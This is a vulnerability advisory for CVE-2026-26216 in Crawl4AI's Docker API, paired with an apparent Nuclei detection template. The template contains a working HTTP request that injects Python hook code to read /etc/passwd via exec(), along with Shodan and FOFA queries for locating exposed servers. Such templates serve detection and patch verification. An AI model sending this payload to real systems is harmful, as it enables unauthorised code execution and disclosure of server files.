CVE-2026-26216: Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter

2026-10-08 PoC Public

Description

Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks.

PoC

id: CVE-2026-26216

info:
  name: Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter
  author: dishantmodi
  severity: critical
  description: |
    Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks.
  remediation: |
    Upgrade to Crawl4AI 0.8.0 or later, which removes __import__ from allowed_builtins in hook_manager.py and disables hooks by default (CRAWL4AI_HOOKS_ENABLED=false). As an interim mitigation, disable the Docker API deployment or restrict network access to it and add authentication.
  impact: |
    An unauthenticated attacker can achieve full server compromise: arbitrary command execution, file read/write, exfiltration of environment variables and API keys, and lateral movement into internal networks.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp
    - https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter
    - https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26216
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-26216
    epss-score: 0.05496
    epss-percentile: 0.92568
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Crawl4AI"
    fofa-query: body="Crawl4AI"
  tags: cve,cve2026,crawl4ai,rce,python,vkev

http:
  - raw:
      - |
        POST /crawl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"urls":["https://example.com"],"hooks":{"code":{"on_page_context_created":"async def hook(page, context, **kwargs):\n    _builtins = __import__('builtins')\n    with _builtins.open('/etc/passwd', 'r') as _f:\n        _data = _f.read(300)\n    _os = __import__('os')\n    raise _os.error('AEV-CANARY-{{randstr}}-' + _data)\n    return page"},"timeout":30}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "AEV-CANARY-{{randstr}}-root:x:0:0"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f2b5d9ef705571d1c0e72970b4cc22a0eee16601730fef0f1fc9e2f06fc9c812022100b1ad493611ffb3b53892f90f8ec2905fa325f3fc829b362d85642bdccfc6278d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.